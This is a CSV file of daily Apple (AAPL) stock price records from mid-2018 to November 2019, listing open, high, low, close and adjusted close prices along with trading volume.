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-2018-06-18,187.8800048828125,189.22000122070312,187.1999969482422,188.74000549316406,184.2147979736328,18484900.0,AAPL
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-2018-06-22,186.1199951171875,186.14999389648438,184.6999969482422,184.9199981689453,180.48638916015625,27200400.0,AAPL
-2018-06-25,183.39999389648438,184.9199981689453,180.72999572753906,182.1699981689453,177.80233764648438,31663100.0,AAPL
-2018-06-26,182.99000549316406,186.52999877929688,182.5399932861328,184.42999267578125,180.00816345214844,24569200.0,AAPL
-2018-06-27,185.22999572753906,187.27999877929688,184.02999877929688,184.16000366210938,179.74462890625,25285300.0,AAPL
-2018-06-28,184.10000610351562,186.2100067138672,183.8000030517578,185.5,181.05250549316406,17365200.0,AAPL
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-2018-07-02,183.82000732421875,187.3000030517578,183.4199981689453,187.17999267578125,182.6922149658203,17731300.0,AAPL
-2018-07-03,187.7899932861328,187.9499969482422,183.5399932861328,183.9199981689453,179.51039123535156,13954800.0,AAPL
-2018-07-05,185.25999450683594,186.41000366210938,184.27999877929688,185.39999389648438,180.95489501953125,16604200.0,AAPL
-2018-07-06,185.4199981689453,188.42999267578125,185.1999969482422,187.97000122070312,183.46327209472656,17485200.0,AAPL
-2018-07-09,189.5,190.67999267578125,189.3000030517578,190.5800018310547,186.01071166992188,19756600.0,AAPL
-2018-07-10,190.7100067138672,191.27999877929688,190.17999267578125,190.35000610351562,185.7862548828125,15939100.0,AAPL
-2018-07-11,188.5,189.77999877929688,187.61000061035156,187.8800048828125,183.37542724609375,18831500.0,AAPL
-2018-07-12,189.52999877929688,191.41000366210938,189.30999755859375,191.02999877929688,186.4499053955078,18041100.0,AAPL
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-2018-07-16,191.52000427246094,192.64999389648438,190.4199981689453,190.91000366210938,186.33279418945312,15043100.0,AAPL
-2018-07-17,189.75,191.8699951171875,189.1999969482422,191.4499969482422,186.85983276367188,15534500.0,AAPL
-2018-07-18,191.77999877929688,191.8000030517578,189.92999267578125,190.39999389648438,185.8350067138672,16393400.0,AAPL
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-2018-07-23,190.67999267578125,191.9600067138672,189.55999755859375,191.61000061035156,187.0159912109375,15989400.0,AAPL
-2018-07-24,192.4499969482422,193.66000366210938,192.0500030517578,193.0,188.37269592285156,18697900.0,AAPL
-2018-07-25,193.05999755859375,194.85000610351562,192.42999267578125,194.82000732421875,190.14906311035156,16709900.0,AAPL
-2018-07-26,194.61000061035156,195.9600067138672,193.61000061035156,194.2100067138672,189.55368041992188,19076000.0,AAPL
-2018-07-27,194.99000549316406,195.19000244140625,190.10000610351562,190.97999572753906,186.40113830566406,24024000.0,AAPL
-2018-07-30,191.89999389648438,192.1999969482422,189.07000732421875,189.91000366210938,185.35678100585938,21029500.0,AAPL
-2018-07-31,190.3000030517578,192.13999938964844,189.33999633789062,190.2899932861328,185.72764587402344,39373000.0,AAPL
-2018-08-01,199.1300048828125,201.75999450683594,197.30999755859375,201.5,196.6688995361328,67935700.0,AAPL
-2018-08-02,200.5800018310547,208.3800048828125,200.35000610351562,207.38999938964844,202.4176788330078,62404000.0,AAPL
-2018-08-03,207.02999877929688,208.74000549316406,205.47999572753906,207.99000549316406,203.00328063964844,33447400.0,AAPL
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-2018-08-07,209.32000732421875,209.5,206.75999450683594,207.11000061035156,202.14437866210938,25587400.0,AAPL
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-2018-08-09,209.52999877929688,209.77999877929688,207.1999969482422,208.8800048828125,203.87196350097656,23492600.0,AAPL
-2018-08-10,207.36000061035156,209.10000610351562,206.6699981689453,207.52999877929688,203.26467895507812,24611200.0,AAPL
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-2018-08-27,217.14999389648438,218.74000549316406,216.3300018310547,217.94000244140625,213.4607391357422,20525100.0,AAPL
-2018-08-28,219.00999450683594,220.5399932861328,218.9199981689453,219.6999969482422,215.1845703125,22776800.0,AAPL
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-2018-09-04,228.41000366210938,229.17999267578125,226.6300048828125,228.36000061035156,223.66659545898438,27390100.0,AAPL
-2018-09-05,228.99000549316406,229.6699981689453,225.10000610351562,226.8699951171875,222.2072296142578,33333000.0,AAPL
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-2018-09-07,221.85000610351562,225.3699951171875,220.7100067138672,221.3000030517578,216.75169372558594,37619800.0,AAPL
-2018-09-10,220.9499969482422,221.85000610351562,216.47000122070312,218.3300018310547,213.8427276611328,39516500.0,AAPL
-2018-09-11,218.00999450683594,224.3000030517578,216.55999755859375,223.85000610351562,219.24929809570312,35749000.0,AAPL
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-2018-09-17,222.14999389648438,222.9499969482422,217.27000427246094,217.8800048828125,213.40199279785156,37195100.0,AAPL
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-2018-09-19,218.5,219.6199951171875,215.3000030517578,218.3699951171875,213.88189697265625,27123800.0,AAPL
-2018-09-20,220.24000549316406,222.27999877929688,219.14999389648438,220.02999877929688,215.5078125,26608800.0,AAPL
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-2018-09-25,219.75,222.82000732421875,219.6999969482422,222.19000244140625,217.62339782714844,24554400.0,AAPL
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-2018-09-27,223.82000732421875,226.44000244140625,223.5399932861328,224.9499969482422,220.32666015625,30181200.0,AAPL
-2018-09-28,224.7899932861328,225.83999633789062,224.02000427246094,225.74000549316406,221.10043334960938,22929400.0,AAPL
-2018-10-01,227.9499969482422,229.4199981689453,226.35000610351562,227.25999450683594,222.58920288085938,23600800.0,AAPL
-2018-10-02,227.25,230.0,226.6300048828125,229.27999877929688,224.5676727294922,24788200.0,AAPL
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-2018-10-04,230.77999877929688,232.35000610351562,226.72999572753906,227.99000549316406,223.30419921875,32042000.0,AAPL
-2018-10-05,227.9600067138672,228.41000366210938,220.5800018310547,224.2899932861328,219.6802215576172,33580500.0,AAPL
-2018-10-08,222.2100067138672,224.8000030517578,220.1999969482422,223.77000427246094,219.1709442138672,29663900.0,AAPL
-2018-10-09,223.63999938964844,227.27000427246094,222.25,226.8699951171875,222.2072296142578,26891000.0,AAPL
-2018-10-10,225.4600067138672,226.35000610351562,216.0500030517578,216.36000061035156,211.9132080078125,41990600.0,AAPL
-2018-10-11,214.52000427246094,219.5,212.32000732421875,214.4499969482422,210.04248046875,53124400.0,AAPL
-2018-10-12,220.4199981689453,222.8800048828125,216.83999633789062,222.11000061035156,217.5450439453125,40337900.0,AAPL
-2018-10-15,221.16000366210938,221.8300018310547,217.27000427246094,217.36000061035156,212.8926544189453,30791000.0,AAPL
-2018-10-16,218.92999267578125,222.99000549316406,216.75999450683594,222.14999389648438,217.58421325683594,29184000.0,AAPL
-2018-10-17,222.3000030517578,222.63999938964844,219.33999633789062,221.19000244140625,216.6439666748047,22885400.0,AAPL
-2018-10-18,217.86000061035156,219.74000549316406,213.0,216.02000427246094,211.5802001953125,32581300.0,AAPL
-2018-10-19,218.05999755859375,221.25999450683594,217.42999267578125,219.30999755859375,214.8025665283203,33078700.0,AAPL
-2018-10-22,219.7899932861328,223.36000061035156,218.94000244140625,220.64999389648438,216.1150360107422,28792100.0,AAPL
-2018-10-23,215.8300018310547,223.25,214.6999969482422,222.72999572753906,218.1522979736328,38767800.0,AAPL
-2018-10-24,222.60000610351562,224.22999572753906,214.5399932861328,215.08999633789062,210.66932678222656,40925500.0,AAPL
-2018-10-25,217.7100067138672,221.3800048828125,216.75,219.8000030517578,215.2825164794922,29855800.0,AAPL
-2018-10-26,215.89999389648438,220.19000244140625,212.6699981689453,216.3000030517578,211.85446166992188,47258400.0,AAPL
-2018-10-29,219.19000244140625,219.69000244140625,206.08999633789062,212.24000549316406,207.87789916992188,45935500.0,AAPL
-2018-10-30,211.14999389648438,215.17999267578125,209.27000427246094,213.3000030517578,208.91612243652344,36660000.0,AAPL
-2018-10-31,216.8800048828125,220.4499969482422,216.6199951171875,218.86000061035156,214.36184692382812,38358900.0,AAPL
-2018-11-01,219.0500030517578,222.36000061035156,216.80999755859375,222.22000122070312,217.6527862548828,58323200.0,AAPL
-2018-11-02,209.5500030517578,213.64999389648438,205.42999267578125,207.47999572753906,203.21571350097656,91328700.0,AAPL
-2018-11-05,204.3000030517578,204.38999938964844,198.1699981689453,201.58999633789062,197.44676208496094,66163700.0,AAPL
-2018-11-06,201.9199981689453,204.72000122070312,201.69000244140625,203.77000427246094,199.5819854736328,31882900.0,AAPL
-2018-11-07,205.97000122070312,210.05999755859375,204.1300048828125,209.9499969482422,205.63494873046875,33424400.0,AAPL
-2018-11-08,209.97999572753906,210.1199951171875,206.75,208.49000549316406,204.91748046875,25362600.0,AAPL
-2018-11-09,205.5500030517578,206.00999450683594,202.25,204.47000122070312,200.96633911132812,34365800.0,AAPL
-2018-11-12,199.0,199.85000610351562,193.7899932861328,194.1699981689453,190.8428497314453,51135500.0,AAPL
-2018-11-13,191.6300048828125,197.17999267578125,191.4499969482422,192.22999572753906,188.9360809326172,46882900.0,AAPL
-2018-11-14,193.89999389648438,194.47999572753906,185.92999267578125,186.8000030517578,183.59915161132812,60801000.0,AAPL
-2018-11-15,188.38999938964844,191.97000122070312,186.89999389648438,191.41000366210938,188.13014221191406,46478800.0,AAPL
-2018-11-16,190.5,194.97000122070312,189.4600067138672,193.52999877929688,190.21380615234375,36928300.0,AAPL
-2018-11-19,190.0,190.6999969482422,184.99000549316406,185.86000061035156,182.6752471923828,41925300.0,AAPL
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-2018-11-23,174.94000244140625,176.60000610351562,172.10000610351562,172.2899932861328,169.3377685546875,23624000.0,AAPL
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-2018-11-29,182.66000366210938,182.8000030517578,177.6999969482422,179.5500030517578,176.47335815429688,41770000.0,AAPL
-2018-11-30,180.2899932861328,180.3300018310547,177.02999877929688,178.5800018310547,175.51998901367188,39531500.0,AAPL
-2018-12-03,184.4600067138672,184.94000244140625,181.2100067138672,184.82000732421875,181.653076171875,40802500.0,AAPL
-2018-12-04,180.9499969482422,182.38999938964844,176.27000427246094,176.69000244140625,173.66236877441406,41344300.0,AAPL
-2018-12-06,171.75999450683594,174.77999877929688,170.4199981689453,174.72000122070312,171.72613525390625,43098400.0,AAPL
-2018-12-07,173.49000549316406,174.49000549316406,168.3000030517578,168.49000549316406,165.6029052734375,42281600.0,AAPL
-2018-12-10,165.0,170.08999633789062,163.3300018310547,169.60000610351562,166.69386291503906,62026000.0,AAPL
-2018-12-11,171.66000366210938,171.7899932861328,167.0,168.6300048828125,165.74049377441406,47281700.0,AAPL
-2018-12-12,170.39999389648438,171.9199981689453,169.02000427246094,169.10000610351562,166.2024383544922,35627700.0,AAPL
-2018-12-13,170.49000549316406,172.57000732421875,169.5500030517578,170.9499969482422,168.02072143554688,31898600.0,AAPL
-2018-12-14,169.0,169.0800018310547,165.27999877929688,165.47999572753906,162.64443969726562,40703700.0,AAPL
-2018-12-17,165.4499969482422,168.35000610351562,162.72999572753906,163.94000244140625,161.130859375,44287900.0,AAPL
-2018-12-18,165.3800048828125,167.52999877929688,164.38999938964844,166.07000732421875,163.224365234375,33841500.0,AAPL
-2018-12-19,166.0,167.4499969482422,159.08999633789062,160.88999938964844,158.1331024169922,49047300.0,AAPL
-2018-12-20,160.39999389648438,162.11000061035156,155.3000030517578,156.8300018310547,154.14266967773438,64773000.0,AAPL
-2018-12-21,156.86000061035156,158.16000366210938,149.6300048828125,150.72999572753906,148.14720153808594,95744600.0,AAPL
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-2018-12-26,148.3000030517578,157.22999572753906,146.72000122070312,157.1699981689453,154.4768524169922,58582500.0,AAPL
-2018-12-27,155.83999633789062,156.77000427246094,150.07000732421875,156.14999389648438,153.47433471679688,53117100.0,AAPL
-2018-12-28,157.5,158.52000427246094,154.5500030517578,156.22999572753906,153.552978515625,42291400.0,AAPL
-2018-12-31,158.52999877929688,159.36000061035156,156.47999572753906,157.74000549316406,155.037109375,35003500.0,AAPL
-2019-01-02,154.88999938964844,158.85000610351562,154.22999572753906,157.9199981689453,155.21400451660156,37039700.0,AAPL
-2019-01-03,143.97999572753906,145.72000122070312,142.0,142.19000244140625,139.7535400390625,91312200.0,AAPL
-2019-01-04,144.52999877929688,148.5500030517578,143.8000030517578,148.25999450683594,145.71951293945312,58607100.0,AAPL
-2019-01-07,148.6999969482422,148.8300018310547,145.89999389648438,147.92999267578125,145.39520263671875,54777800.0,AAPL
-2019-01-08,149.55999755859375,151.82000732421875,148.52000427246094,150.75,148.1668701171875,41025300.0,AAPL
-2019-01-09,151.2899932861328,154.52999877929688,149.6300048828125,153.30999755859375,150.6829833984375,45099100.0,AAPL
-2019-01-10,152.5,153.97000122070312,150.86000061035156,153.8000030517578,151.1646270751953,35780700.0,AAPL
-2019-01-11,152.8800048828125,153.6999969482422,151.50999450683594,152.2899932861328,149.6804656982422,27023200.0,AAPL
-2019-01-14,150.85000610351562,151.27000427246094,149.22000122070312,150.0,147.42971801757812,32439200.0,AAPL
-2019-01-15,150.27000427246094,153.38999938964844,150.0500030517578,153.07000732421875,150.44712829589844,28710900.0,AAPL
-2019-01-16,153.0800018310547,155.8800048828125,153.0,154.94000244140625,152.2850799560547,30569700.0,AAPL
-2019-01-17,154.1999969482422,157.66000366210938,153.25999450683594,155.86000061035156,153.18930053710938,29821200.0,AAPL
-2019-01-18,157.5,157.8800048828125,155.97999572753906,156.82000732421875,154.1328582763672,33751000.0,AAPL
-2019-01-22,156.41000366210938,156.72999572753906,152.6199951171875,153.3000030517578,150.6731719970703,30394000.0,AAPL
-2019-01-23,154.14999389648438,155.13999938964844,151.6999969482422,153.9199981689453,151.2825469970703,23130600.0,AAPL
-2019-01-24,154.11000061035156,154.47999572753906,151.74000549316406,152.6999969482422,150.08343505859375,25441500.0,AAPL
-2019-01-25,155.47999572753906,158.1300048828125,154.32000732421875,157.75999450683594,155.05674743652344,33535500.0,AAPL
-2019-01-28,155.7899932861328,156.3300018310547,153.66000366210938,156.3000030517578,153.62176513671875,26192100.0,AAPL
-2019-01-29,156.25,158.1300048828125,154.11000061035156,154.67999267578125,152.02951049804688,41587200.0,AAPL
-2019-01-30,163.25,166.14999389648438,160.22999572753906,165.25,162.4184112548828,61109800.0,AAPL
-2019-01-31,166.11000061035156,169.0,164.55999755859375,166.44000244140625,163.58799743652344,40739600.0,AAPL
-2019-02-01,166.9600067138672,168.97999572753906,165.92999267578125,166.52000427246094,163.66664123535156,32668100.0,AAPL
-2019-02-04,167.41000366210938,171.66000366210938,167.27999877929688,171.25,168.31558227539062,31495500.0,AAPL
-2019-02-05,172.86000061035156,175.0800018310547,172.35000610351562,174.17999267578125,171.1953887939453,36101600.0,AAPL
-2019-02-06,174.64999389648438,175.57000732421875,172.85000610351562,174.24000549316406,171.25436401367188,28239600.0,AAPL
-2019-02-07,172.39999389648438,173.94000244140625,170.33999633789062,170.94000244140625,168.0109100341797,31741700.0,AAPL
-2019-02-08,168.99000549316406,170.66000366210938,168.4199981689453,170.41000366210938,168.2083282470703,23820000.0,AAPL
-2019-02-11,171.0500030517578,171.2100067138672,169.25,169.42999267578125,167.240966796875,20993400.0,AAPL
-2019-02-12,170.10000610351562,171.0,169.6999969482422,170.88999938964844,168.68211364746094,22283500.0,AAPL
-2019-02-13,171.38999938964844,172.47999572753906,169.9199981689453,170.17999267578125,167.9812774658203,22490200.0,AAPL
-2019-02-14,169.7100067138672,171.25999450683594,169.3800048828125,170.8000030517578,168.59329223632812,21835700.0,AAPL
-2019-02-15,171.25,171.6999969482422,169.75,170.4199981689453,168.21820068359375,24626800.0,AAPL
-2019-02-19,169.7100067138672,171.44000244140625,169.49000549316406,170.92999267578125,168.72158813476562,18972800.0,AAPL
-2019-02-20,171.19000244140625,173.32000732421875,170.99000549316406,172.02999877929688,169.80738830566406,26114400.0,AAPL
-2019-02-21,171.8000030517578,172.3699951171875,170.3000030517578,171.05999755859375,168.8499298095703,17249700.0,AAPL
-2019-02-22,171.5800018310547,173.0,171.3800048828125,172.97000122070312,170.7352294921875,18913200.0,AAPL
-2019-02-25,174.16000366210938,175.8699951171875,173.9499969482422,174.22999572753906,171.9789581298828,21873400.0,AAPL
-2019-02-26,173.7100067138672,175.3000030517578,173.1699981689453,174.3300018310547,172.07766723632812,17070200.0,AAPL
-2019-02-27,173.2100067138672,175.0,172.72999572753906,174.8699951171875,172.61068725585938,27835400.0,AAPL
-2019-02-28,174.32000732421875,174.91000366210938,172.9199981689453,173.14999389648438,170.9129180908203,28215400.0,AAPL
-2019-03-01,174.27999877929688,175.14999389648438,172.88999938964844,174.97000122070312,172.70938110351562,25886200.0,AAPL
-2019-03-04,175.69000244140625,177.75,173.97000122070312,175.85000610351562,173.57803344726562,27436200.0,AAPL
-2019-03-05,175.94000244140625,176.0,174.5399932861328,175.52999877929688,173.2621612548828,19737400.0,AAPL
-2019-03-06,174.6699981689453,175.49000549316406,173.94000244140625,174.52000427246094,172.26522827148438,20810400.0,AAPL
-2019-03-07,173.8699951171875,174.44000244140625,172.02000427246094,172.5,170.2713165283203,24796400.0,AAPL
-2019-03-08,170.32000732421875,173.07000732421875,169.5,172.91000366210938,170.676025390625,23999400.0,AAPL
-2019-03-11,175.49000549316406,179.1199951171875,175.35000610351562,178.89999389648438,176.58860778808594,32011000.0,AAPL
-2019-03-12,180.0,182.6699981689453,179.3699951171875,180.91000366210938,178.57266235351562,32467600.0,AAPL
-2019-03-13,182.25,183.3000030517578,180.9199981689453,181.7100067138672,179.36231994628906,31032500.0,AAPL
-2019-03-14,183.89999389648438,184.10000610351562,182.55999755859375,183.72999572753906,181.35621643066406,23579500.0,AAPL
-2019-03-15,184.85000610351562,187.3300018310547,183.74000549316406,186.1199951171875,183.71533203125,39042900.0,AAPL
-2019-03-18,185.8000030517578,188.38999938964844,185.7899932861328,188.02000427246094,185.59080505371094,26219800.0,AAPL
-2019-03-19,188.35000610351562,188.99000549316406,185.9199981689453,186.52999877929688,184.12005615234375,31646400.0,AAPL
-2019-03-20,186.22999572753906,189.49000549316406,184.72999572753906,188.16000366210938,185.72898864746094,31035200.0,AAPL
-2019-03-21,190.02000427246094,196.3300018310547,189.80999755859375,195.08999633789062,192.56942749023438,51034200.0,AAPL
-2019-03-22,195.33999633789062,197.69000244140625,190.77999877929688,191.0500030517578,188.58164978027344,42407700.0,AAPL
-2019-03-25,191.50999450683594,191.97999572753906,186.60000610351562,188.74000549316406,186.30148315429688,43845300.0,AAPL
-2019-03-26,191.66000366210938,192.8800048828125,184.5800018310547,186.7899932861328,184.37667846679688,49800500.0,AAPL
-2019-03-27,188.75,189.75999450683594,186.5500030517578,188.47000122070312,186.03497314453125,29848400.0,AAPL
-2019-03-28,188.9499969482422,189.55999755859375,187.52999877929688,188.72000122070312,186.28173828125,20780400.0,AAPL
-2019-03-29,189.8300018310547,190.0800018310547,188.5399932861328,189.9499969482422,187.49586486816406,23564000.0,AAPL
-2019-04-01,191.63999938964844,191.67999267578125,188.3800048828125,191.24000549316406,188.7692108154297,27862000.0,AAPL
-2019-04-02,191.08999633789062,194.4600067138672,191.0500030517578,194.02000427246094,191.51329040527344,22765700.0,AAPL
-2019-04-03,193.25,196.5,193.14999389648438,195.35000610351562,192.82611083984375,23271800.0,AAPL
-2019-04-04,194.7899932861328,196.3699951171875,193.13999938964844,195.69000244140625,193.16168212890625,19114300.0,AAPL
-2019-04-05,196.4499969482422,197.10000610351562,195.92999267578125,197.0,194.4547576904297,18526600.0,AAPL
-2019-04-08,196.4199981689453,200.22999572753906,196.33999633789062,200.10000610351562,197.51470947265625,25881700.0,AAPL
-2019-04-09,200.32000732421875,202.85000610351562,199.22999572753906,199.5,196.92247009277344,35768200.0,AAPL
-2019-04-10,198.67999267578125,200.74000549316406,198.17999267578125,200.6199951171875,198.02798461914062,21695300.0,AAPL
-2019-04-11,200.85000610351562,201.0,198.44000244140625,198.9499969482422,196.37957763671875,20900800.0,AAPL
-2019-04-12,199.1999969482422,200.13999938964844,196.2100067138672,198.8699951171875,196.3006134033203,27760700.0,AAPL
-2019-04-15,198.5800018310547,199.85000610351562,198.00999450683594,199.22999572753906,196.6559600830078,17536600.0,AAPL
-2019-04-16,199.4600067138672,201.3699951171875,198.55999755859375,199.25,196.6757049560547,25696400.0,AAPL
-2019-04-17,199.5399932861328,203.3800048828125,198.61000061035156,203.1300048828125,200.50558471679688,28906800.0,AAPL
-2019-04-18,203.1199951171875,204.14999389648438,202.52000427246094,203.86000061035156,201.2261505126953,24195800.0,AAPL
-2019-04-22,202.8300018310547,204.94000244140625,202.33999633789062,204.52999877929688,201.8874969482422,19439500.0,AAPL
-2019-04-23,204.42999267578125,207.75,203.89999389648438,207.47999572753906,204.7993621826172,23323000.0,AAPL
-2019-04-24,207.36000061035156,208.47999572753906,207.0500030517578,207.16000366210938,204.48350524902344,17540600.0,AAPL
-2019-04-25,206.8300018310547,207.75999450683594,205.1199951171875,205.27999877929688,202.6278076171875,18543200.0,AAPL
-2019-04-26,204.89999389648438,205.0,202.1199951171875,204.3000030517578,201.66046142578125,18649100.0,AAPL
-2019-04-29,204.39999389648438,205.97000122070312,203.86000061035156,204.61000061035156,201.96646118164062,22204700.0,AAPL
-2019-04-30,203.05999755859375,203.39999389648438,199.11000061035156,200.6699981689453,198.07736206054688,46534900.0,AAPL
-2019-05-01,209.8800048828125,215.30999755859375,209.22999572753906,210.52000427246094,207.80010986328125,64827300.0,AAPL
-2019-05-02,209.83999633789062,212.64999389648438,208.1300048828125,209.14999389648438,206.4477996826172,31996300.0,AAPL
-2019-05-03,210.88999938964844,211.83999633789062,210.22999572753906,211.75,209.01422119140625,20892400.0,AAPL
-2019-05-06,204.2899932861328,208.83999633789062,203.5,208.47999572753906,205.78646850585938,32443100.0,AAPL
-2019-05-07,205.8800048828125,207.4199981689453,200.8300018310547,202.86000061035156,200.23907470703125,38763700.0,AAPL
-2019-05-08,201.89999389648438,205.33999633789062,201.75,202.89999389648438,200.27853393554688,26339500.0,AAPL
-2019-05-09,200.39999389648438,201.67999267578125,196.66000366210938,200.72000122070312,198.126708984375,34908600.0,AAPL
-2019-05-10,197.4199981689453,198.85000610351562,192.77000427246094,197.17999267578125,195.38197326660156,41208700.0,AAPL
-2019-05-13,187.7100067138672,189.47999572753906,182.85000610351562,185.72000122070312,184.0264892578125,57430600.0,AAPL
-2019-05-14,186.41000366210938,189.6999969482422,185.41000366210938,188.66000366210938,186.93966674804688,36529700.0,AAPL
-2019-05-15,186.27000427246094,191.75,186.02000427246094,190.9199981689453,189.17906188964844,26544700.0,AAPL
-2019-05-16,189.91000366210938,192.47000122070312,188.83999633789062,190.0800018310547,188.3467254638672,33031400.0,AAPL
-2019-05-17,186.92999267578125,190.89999389648438,186.75999450683594,189.0,187.27658081054688,32879100.0,AAPL
-2019-05-20,183.52000427246094,184.35000610351562,180.27999877929688,183.08999633789062,181.42047119140625,38612300.0,AAPL
-2019-05-21,185.22000122070312,188.0,184.6999969482422,186.60000610351562,184.89846801757812,28364800.0,AAPL
-2019-05-22,184.66000366210938,185.7100067138672,182.5500030517578,182.77999877929688,181.11328125,29748600.0,AAPL
-2019-05-23,179.8000030517578,180.5399932861328,177.80999755859375,179.66000366210938,178.02174377441406,36529700.0,AAPL
-2019-05-24,180.1999969482422,182.13999938964844,178.6199951171875,178.97000122070312,177.33804321289062,23714700.0,AAPL
-2019-05-28,178.9199981689453,180.58999633789062,177.91000366210938,178.22999572753906,176.6047821044922,27948200.0,AAPL
-2019-05-29,176.4199981689453,179.35000610351562,176.0,177.3800048828125,175.7625274658203,28481200.0,AAPL
-2019-05-30,177.9499969482422,179.22999572753906,176.6699981689453,178.3000030517578,176.6741485595703,21218400.0,AAPL
-2019-05-31,176.22999572753906,177.99000549316406,174.99000549316406,175.07000732421875,173.47360229492188,27043600.0,AAPL
-2019-06-03,175.60000610351562,177.9199981689453,170.27000427246094,173.3000030517578,171.7197265625,40396100.0,AAPL
-2019-06-04,175.44000244140625,179.8300018310547,174.52000427246094,179.63999938964844,178.00192260742188,30968000.0,AAPL
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-2019-06-28,198.67999267578125,199.5,197.0500030517578,197.9199981689453,196.11521911621094,31110600.0,AAPL
-2019-07-01,203.1699981689453,204.49000549316406,200.64999389648438,201.5500030517578,199.71214294433594,27316700.0,AAPL
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-2019-07-18,204.0,205.8800048828125,203.6999969482422,205.66000366210938,203.78465270996094,18582200.0,AAPL
-2019-07-19,205.7899932861328,206.5,202.36000061035156,202.58999633789062,200.74264526367188,20929300.0,AAPL
-2019-07-22,203.64999389648438,207.22999572753906,203.61000061035156,207.22000122070312,205.33042907714844,22277900.0,AAPL
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-2019-07-25,208.88999938964844,209.24000549316406,206.72999572753906,207.02000427246094,205.13226318359375,13909600.0,AAPL
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-2019-07-31,216.4199981689453,221.3699951171875,211.3000030517578,213.0399932861328,211.0973663330078,69281400.0,AAPL
-2019-08-01,213.89999389648438,218.02999877929688,206.74000549316406,208.42999267578125,206.5293731689453,54017900.0,AAPL
-2019-08-02,205.52999877929688,206.42999267578125,201.6300048828125,204.02000427246094,202.15960693359375,40862100.0,AAPL
-2019-08-05,197.99000549316406,198.64999389648438,192.5800018310547,193.33999633789062,191.5769805908203,52393000.0,AAPL
-2019-08-06,196.30999755859375,198.07000732421875,194.0399932861328,197.0,195.20361328125,35824800.0,AAPL
-2019-08-07,195.41000366210938,199.55999755859375,193.82000732421875,199.0399932861328,197.22500610351562,33364400.0,AAPL
-2019-08-08,200.1999969482422,203.52999877929688,199.38999938964844,203.42999267578125,201.57498168945312,27009500.0,AAPL
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-2019-08-16,204.27999877929688,207.16000366210938,203.83999633789062,206.5,205.39442443847656,27620400.0,AAPL
-2019-08-19,210.6199951171875,212.72999572753906,210.02999877929688,210.35000610351562,209.22381591796875,24413600.0,AAPL
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-2019-08-23,209.42999267578125,212.0500030517578,201.0,202.63999938964844,201.5550994873047,46818000.0,AAPL
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-2019-08-27,207.86000061035156,208.5500030517578,203.52999877929688,204.16000366210938,203.06695556640625,25873300.0,AAPL
-2019-08-28,204.10000610351562,205.72000122070312,203.32000732421875,205.52999877929688,204.42962646484375,15938800.0,AAPL
-2019-08-29,208.5,209.32000732421875,206.66000366210938,209.00999450683594,207.89097595214844,20990500.0,AAPL
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-2019-09-03,206.42999267578125,206.97999572753906,204.22000122070312,205.6999969482422,204.59869384765625,20023000.0,AAPL
-2019-09-04,208.38999938964844,209.47999572753906,207.32000732421875,209.19000244140625,208.07003784179688,19188100.0,AAPL
-2019-09-05,212.0,213.97000122070312,211.50999450683594,213.27999877929688,212.13812255859375,23913700.0,AAPL
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-2019-09-11,218.07000732421875,223.7100067138672,217.72999572753906,223.58999633789062,222.39292907714844,44289600.0,AAPL
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-2019-09-23,218.9499969482422,219.83999633789062,217.64999389648438,218.72000122070312,217.5489959716797,19165500.0,AAPL
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-2019-10-01,225.07000732421875,228.22000122070312,224.1999969482422,224.58999633789062,223.3875732421875,34805800.0,AAPL
-2019-10-02,223.05999755859375,223.5800018310547,217.92999267578125,218.9600067138672,217.7877197265625,34612300.0,AAPL
-2019-10-03,218.42999267578125,220.9600067138672,215.1300048828125,220.82000732421875,219.63775634765625,28606500.0,AAPL
-2019-10-04,225.63999938964844,227.49000549316406,223.88999938964844,227.00999450683594,225.79461669921875,34619700.0,AAPL
-2019-10-07,226.27000427246094,229.92999267578125,225.83999633789062,227.05999755859375,225.84434509277344,30576500.0,AAPL
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-2019-10-09,227.02999877929688,227.7899932861328,225.63999938964844,227.02999877929688,225.81451416015625,18692600.0,AAPL
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-2019-10-17,235.08999633789062,236.14999389648438,233.52000427246094,235.27999877929688,234.0203399658203,16896300.0,AAPL
-2019-10-18,234.58999633789062,237.5800018310547,234.2899932861328,236.41000366210938,235.14430236816406,24358400.0,AAPL
-2019-10-21,237.52000427246094,240.99000549316406,237.32000732421875,240.50999450683594,239.2223358154297,21811800.0,AAPL
-2019-10-22,241.16000366210938,242.1999969482422,239.6199951171875,239.9600067138672,238.67529296875,20573400.0,AAPL
-2019-10-23,242.10000610351562,243.24000549316406,241.22000122070312,243.17999267578125,241.87803649902344,18957200.0,AAPL
-2019-10-24,244.50999450683594,244.8000030517578,241.80999755859375,243.5800018310547,242.27589416503906,17318800.0,AAPL
-2019-10-25,243.16000366210938,246.72999572753906,242.8800048828125,246.5800018310547,245.2598419189453,18330500.0,AAPL
-2019-10-28,247.4199981689453,249.25,246.72000122070312,249.0500030517578,247.71661376953125,24112500.0,AAPL
-2019-10-29,248.97000122070312,249.75,242.57000732421875,243.2899932861328,241.98744201660156,35709900.0,AAPL
-2019-10-30,244.75999450683594,245.3000030517578,241.2100067138672,243.25999450683594,241.95761108398438,31130500.0,AAPL
-2019-10-31,247.24000549316406,249.1699981689453,237.25999450683594,248.75999450683594,247.42816162109375,34790500.0,AAPL
-2019-11-01,249.5399932861328,255.92999267578125,249.16000366210938,255.82000732421875,254.45037841796875,37781300.0,AAPL
-2019-11-04,257.3299865722656,257.8500061035156,255.3800048828125,257.5,256.1213684082031,25818000.0,AAPL
-2019-11-05,257.04998779296875,258.19000244140625,256.32000732421875,257.1300048828125,255.7533721923828,19974400.0,AAPL
-2019-11-06,256.7699890136719,257.489990234375,255.3699951171875,257.239990234375,255.86276245117188,18966100.0,AAPL
-2019-11-07,258.739990234375,260.3500061035156,258.1099853515625,259.42999267578125,258.81573486328125,23735100.0,AAPL
-2019-11-08,258.69000244140625,260.44000244140625,256.8500061035156,260.1400146484375,259.5240783691406,17496600.0,AAPL
-2019-11-11,258.29998779296875,262.4700012207031,258.2799987792969,262.20001220703125,261.5791931152344,20455300.0,AAPL
-2019-11-12,261.54998779296875,262.7900085449219,260.9200134277344,261.9599914550781,261.3397521972656,21847200.0,AAPL
-2019-11-13,261.1300048828125,264.7799987792969,261.07000732421875,264.4700012207031,263.84381103515625,25683600.0,AAPL
-2019-11-14,263.75,264.8800048828125,262.1000061035156,262.6400146484375,262.0181579589844,22295700.0,AAPL
-2019-11-15,263.67999267578125,265.7799987792969,263.010009765625,265.760009765625,265.1307678222656,25051600.0,AAPL
-2019-11-18,265.79998779296875,267.42999267578125,264.2300109863281,267.1000061035156,266.46759033203125,21675800.0,AAPL
-2019-11-19,267.8999938964844,268.0,265.3900146484375,266.2900085449219,265.6595153808594,19041800.0,AAPL
